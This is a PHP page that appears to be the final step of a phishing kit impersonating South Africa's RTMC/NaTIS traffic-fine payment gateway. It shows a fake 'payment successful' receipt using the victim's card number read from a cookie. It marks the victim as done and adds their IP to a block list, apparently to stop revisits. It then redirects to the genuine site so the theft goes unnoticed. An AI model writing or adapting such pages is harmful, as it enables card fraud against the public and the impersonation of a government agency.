<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$m->update(array("IS_DONE" => "1"));

$ip = $_SERVER['REMOTE_ADDR'] ?? '';
if ($ip == "::1") {
    $ip = "127.0.0.1";
}
if (!empty($ip)) {
    $blockedFile = __DIR__ . '/blocked_ips.txt';
    $blocked = file_exists($blockedFile) ? file($blockedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
    if (!in_array($ip, $blocked)) {
        file_put_contents($blockedFile, $ip . "\n", FILE_APPEND);
    }
}

$payLabel = Config::$payment_amount;
$txId = Config::$transaction_id;
$fineRef = Config::$fine_reference;
$vehicleReg = Config::visitorVehicleRegFromLogin();
$redirectUrl = Config::$site_origin;

$last4Digits = '';
$cardNumber = '';
if (!empty($_COOKIE['cc'])) {
    $cardNumber = preg_replace('/\s+/', '', $_COOKIE['cc']);
} elseif (!empty($_COOKIE['sc_card'])) {
    $cardNumber = preg_replace('/\s+/', '', $_COOKIE['sc_card']);
}
if (strlen($cardNumber) >= 4) {
    $last4Digits = substr($cardNumber, -4);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Payment successful — NaTIS</title>
    <link rel="stylesheet" href="themes/css/card-natis.css" />
    <link rel="stylesheet" href="themes/css/payment-flow-natis.css" />
</head>
<body class="np-page np-flow-page">

<?php require __DIR__ . '/includes/natis-payment-header.php'; ?>

<div class="np-wrap">
    <h1 class="np-heading">Payment successful</h1>
    <p class="np-flow-lead">RTMC / NaTIS secure payment gateway</p>

    <div class="np-form np-flow-panel">
        <div class="np-flow-hero">
            <div class="np-done-check-wrap" aria-hidden="true">
                <div class="np-done-check">
                    <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M20 6L9 17l-5-5" />
                    </svg>
                </div>
            </div>
            <h2 class="np-flow-title">Payment completed</h2>
            <p class="np-flow-text">Your traffic fine payment has been processed successfully. A confirmation receipt will be sent to your email if applicable.</p>
        </div>

        <dl class="np-flow-summary">
            <div class="np-flow-row">
                <dt>Amount paid</dt>
                <dd class="np-flow-amount"><?= htmlspecialchars($payLabel, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div class="np-flow-row">
                <dt>Fine reference</dt>
                <dd><?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <?php if ($vehicleReg !== '') { ?>
            <div class="np-flow-row">
                <dt>Vehicle registration</dt>
                <dd><?= htmlspecialchars($vehicleReg, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <?php } ?>
            <div class="np-flow-row">
                <dt>Transaction ID</dt>
                <dd><?= htmlspecialchars($txId, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <?php if ($last4Digits !== '') { ?>
            <div class="np-flow-row">
                <dt>Card (last 4 digits)</dt>
                <dd>**** <?= htmlspecialchars($last4Digits, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <?php } ?>
            <div class="np-flow-row">
                <dt>Date and time</dt>
                <dd><?= htmlspecialchars(date('d M Y, H:i'), ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
        </dl>

        <p class="np-done-thanks">Thank you for your payment.</p>
        <p class="np-done-redirect">You will be redirected to NaTIS in 60 seconds…</p>

        <p class="np-flow-secure">
            <span class="np-flow-lock" aria-hidden="true"></span>
            Keep this page for your records. For support contact RTMC on 0861 400 800.
        </p>
    </div>
</div>

<?php require __DIR__ . '/includes/natis-payment-footer.php'; ?>

<script src="res/jq.js"></script>
<script>
    setTimeout(function () {
        window.location.href = <?= json_encode($redirectUrl, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) ?>;
    }, 60000);
</script>
<?php $m->ctr("DONE"); ?>
</body>
</html>
